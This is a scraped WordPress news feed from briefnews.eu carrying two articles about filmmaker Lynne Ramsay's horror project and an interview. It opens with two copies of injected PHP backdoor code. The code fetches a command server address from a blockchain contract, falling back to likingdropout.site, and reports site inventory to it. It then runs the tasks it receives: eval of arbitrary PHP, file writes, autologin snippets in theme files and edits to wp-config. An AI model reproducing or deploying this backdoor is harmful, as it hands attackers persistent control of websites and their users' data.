// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ramsay – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 02 Dec 2018 06:51:43 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ramsay – Brief News https://briefnews.eu 32 32 ‘You Were Never Really Here’ Director Lynne Ramsay Writing an “Epic Environmental Horror” Film https://briefnews.eu/you-were-never-really-here-director-lynne-ramsay-writing-an-epic-environmental-horror-film/ https://briefnews.eu/you-were-never-really-here-director-lynne-ramsay-writing-an-epic-environmental-horror-film/#respond Sun, 02 Dec 2018 06:51:43 +0000 http://briefnews.eu/you-were-never-really-here-director-lynne-ramsay-writing-an-epic-environmental-horror-film/ Lynne Ramsay horror

Scottish filmmaker Lynne Ramsay, who turned heads earlier this year with the Joaquin Phoenix thriller You Were Never Really Here, has revealed a few more details about her next film – and she’s heading into horror territory. Read more about the upcoming Lynne Ramsay horror movie below.

In an interview with the British Independent Film Awards website (via Variety), Ramsay – whose movie is up for eight nominations and may even be heading toward an Oscar nom for Phoenix’s hulking, bruised assassin – spilled some more information about what is likely to be her next movie:

“Well, I wrote 160 pages of a script just after doing all the press for You Were Never Really Here, because it’s hard to keep talking about the same films. But I was really inspired by making this film, so I’ve started writing this epic environmental horror thing. [Laughs] I don’t know what it is yet, I just kept writing and didn’t look back. But I’m working on a few other projects as well. They’re all quite exciting, but they’re just in the writing process at the moment…I’m hoping to be up and running and shooting something sooner rather than later. I don’t want a big gap, if you know what I mean. I don’t really take time off, it’s just that some things have worked out and some things haven’t. It’s just the nature of the beast, really, but you learn something from all of them, even if they don’t work out. Hopefully, you’re just getting better and more experienced.”

It makes sense that she’s looking to avoid another “big gap,” because it took her seven years from 2011’s We Need to Talk About Kevin to get another movie made. (She came close back in 2013, but she didn’t show up for the first day of shooting on the Natalie Portman western Jane Got a Gun, which eventually found another director altogether.)

But this isn’t the first time she’s mentioned this new project. In fact, when we spoke with Ramsay earlier this year, we asked her if she’d be interested in making a horror movie, and she gave us a hint of information about it:

Yes. It would probably be my kind of psychological horror film, but yeah definitely. Horror is a genre where you explore a lot of fears. I look at all films as a kind of amateur psychologist. One of my favorite films, The Shining, is a horror film but it’s also a film about a man having a breakdown. So yeah, I definitely would. I think I might be writing a horror film at the moment. [Laughs]

Oh, can you give a hint at what that film is you’re writing?

Ah, it’s just something I’m writing with my friend here [in Mexico]. I’ve told you as much as I can, but I’m excited for it, we’ve written about 160 pages. But I can’t say too much at the moment. But I’d love to work with Joaquin again on it.

Ramsay and Phoenix potentially reteaming for an “epic environmental horror” movie? Yes, please.

The post ‘You Were Never Really Here’ Director Lynne Ramsay Writing an “Epic Environmental Horror” Film appeared first on /Film.

]]> https://briefnews.eu/you-were-never-really-here-director-lynne-ramsay-writing-an-epic-environmental-horror-film/feed/ 0 Lynne Ramsay on Defying Clichés in ‘You Were Never Really Here’ and Her Thoughts on Joaquin Phoenix as the Joker [Interview] https://briefnews.eu/lynne-ramsay-on-defying-cliches-in-you-were-never-really-here-and-her-thoughts-on-joaquin-phoenix-as-the-joker-interview/ https://briefnews.eu/lynne-ramsay-on-defying-cliches-in-you-were-never-really-here-and-her-thoughts-on-joaquin-phoenix-as-the-joker-interview/#respond Mon, 29 Oct 2018 21:08:16 +0000 http://briefnews.eu/lynne-ramsay-on-defying-cliches-in-you-were-never-really-here-and-her-thoughts-on-joaquin-phoenix-as-the-joker-interview/

Lynne Ramsay was never really trying to break the mold. The director of this year’s critical darling You Were Never Really Here chooses her movies with discretion, with a six-year gap between the Joaquin Phoenix-starring noir thriller and her last film, the haunting psychological drama We Need to Talk About Kevin. Only four feature films total populate Ramsay’s entire catalogue, each of them critically beloved, each of them inflicting a different kind of violence upon the audience. “We’ve seen a lot of violence in film that it’s become almost banal,” Ramsay told /Film in an interview ahead of You Were Never Really Here‘s digital release on the Amazon Prime streaming platform. “It’s actually more scary not to show it.”

That’s the genius of You Were Never Really Here, a taut and moody thriller centering around Phoenix’s PTSD-suffering hit man who rescues trafficked girls. In other hands, the film would paint Phoenix as a glamorous lone wolf, an anti-hero who beats down societal corruption with his bare fists. But in Ramsay’s hands and in Phoenix’s gaunt, weary performance, You Were Never Really Here shows us a different kind of anti-hero.

Here is what Ramsay had to say about defying the “knight in shining armor” clichés, Phoenix’s role in shaping the character of Joe, and what Ramsay thinks about Phoenix’s current role as the Joker.

You Were Never Really Here has been frequently compared to Taxi Driver since its theatrical release. Did you go into the film intending those parallels or was that something that grew organically out of the story?

I’m flattered by those comparisons because Taxi Driver is a great film, it’s a masterpiece. But I wouldn’t say it was intentional.

You said in an interview before that Joaquin Phoenix’s character Joe is “the opposite of a knight in shining armor. He can’t even save himself.” So many films have glorified the kind of lone wolf hero that he plays in You Were Never Really Here, but the film manages to subvert and sidestep that. How would you say you accomplished that unglorified approach?

Well [You Were Never Really Here is] based on the novella by Jonathan Ames, who crafted an incredible story. But we were definitely not interested in doing the clichés of the trope. Nina just as much saves herself as Joe saves her. We just try to break all these clichés that you’ve seen in a lot of films that have, like you said, the lone wolf. This is a different kind of character, I think it’s a character more defined by his post-traumatic stress syndrome. And I think his heart’s in the right place with Nina, but he gets sent down this rabbit hole, and that brings him back to life in a way. It’s a film about this character more than anything.

Another trope that this film plays into but never surrenders to is that of the stoic male savior and the innocent young girl rescued by him. How did you make sure that the film never falls victim to that trope?

Well, it was something I was really aware of right from the beginning. It was something I wanted: that at the end, she saves herself and him. That was something that I felt like it’s not interesting to go that [typical] route, I thought it was more interesting to defy that route. It’s something I was very conscious of from the beginning.

Do you think as a female director you had a unique approach that leant to this film’s unglamorous portrayal of the lone male antihero?

I don’t know. As a filmmaker I think it’s just a coincidence that any studio that bears responsibility didn’t reject me. But you know probably as a woman, there aren’t a lot of chances to do a noir film. To explore a character and structure like that…I don’t know if I can speak as a woman but I think I’ve managed to avoid the clichés of the knight in shining armor. That’s a hard question, actually.

I know, it’s pretty loaded.

Break those chains. [Laughs]

One of the remarkable things about the movie is how restrained the violence is. We see the aftermath of Joe’s rampages, but never the doing. And in your previous movie We Need to Talk About Kevin, the violence is also mostly offscreen. So would you that you intentionally avoid graphic violence as an aesthetic choice?

It’s funny that you say that. I’m not a fan of openly violent films that are violent in a costume kind of way. Funnily enough people find my films, especially in respect to [We Need to Talk About Kevin], as something akin to a horror film. What they imagine I think is much more “costume” than what it would seem. So it’s kind of been funny the reactions of people because they come out quite shaken by both films and yet what you see isn’t [that violent]. I guess it’s a choice I believe of what shakes you and what doesn’t, and also what makes you feel a certain way. And we’ve seen a lot of violence in film that it’s become almost banal. It’s actually more scary not to show it. I guess that was a choice as a filmmaker, yes: to play with this subconscious effect of what you don’t see and the stuff that is like the darkness inside that violence that you…imagine. It’s much more disturbing in a way, and makes you question yourself a bit more.

You mentioned before that some people compared your films to a horror film. Would you be interested in doing a horror film?

Yes. It would probably be my kind of psychological horror film, but yeah definitely. Horror is a genre where you explore a lot of fears. I look at all films as a kind of amateur psychologist. One of my favorite films, The Shining, is a horror film but it’s also a film about a man having a breakdown. So yeah, I definitely would. I think I might be writing a horror film at the moment. [Laughs]

Oh, can you give a hint at what that film is you’re writing?

Ah, it’s just something I’m writing with my friend here [in Mexico]. I’ve told you as much as I can, but I’m excited for it, we’ve written about 160 pages. But I can’t say too much at the moment. But I’d love to work with Joaquin again on it.

Speaking of Joaquin, his physicality plays a major part in You Were Never Really Here. Did you discuss with him beforehand how he would build his body to build his character?

Well when it came time that we were able to prep, I don’t know when he put it in motion, but he started building up and becoming almost this Hunchback of Notre Dame. It was like this armor [through which] we learn there’s something much more vulnerable about him than we see. But that in a way is more frightening I think. He changed [his body to the point] where it started feeling right: something that you can react to in the character — the way he walked, his physical appearance. Yeah, so he made those [decisions] when we were prepping. But having him there was really valuable in picking away at those clichés. It was a really exciting film to shoot, because there was a lot of, “With Joe, how funny, how terrifying [do we want him to be]?” Sometimes I feel like we put the devil in him, you know? I’ll always be grateful to the way he changed so heavily.

What do you think of Joaquin taking on the role of the Joker?

I think he’s amazing, I’d love to direct that myself. It’s a real psychological character, I loved The Dark Knight Returns when I was a kid. I think if anyone’s going to play the Joker, he’s the right guy. All those facets of his character, I think it’ll be awesome. I think they’re still shooting at the moment so he’s still very inside the character. I’ve never seen someone who so inhabits the role, to watch him even in the first few days that we shot [You Were Never Really Here], it was just kind of like meeting the character. I think he’s got great instinct and I love to work on instinct. If something goes wrong I think you should avoid it, and I think he works the same way.

This interview has been edited and condensed.

The post Lynne Ramsay on Defying Clichés in ‘You Were Never Really Here’ and Her Thoughts on Joaquin Phoenix as the Joker [Interview] appeared first on /Film.

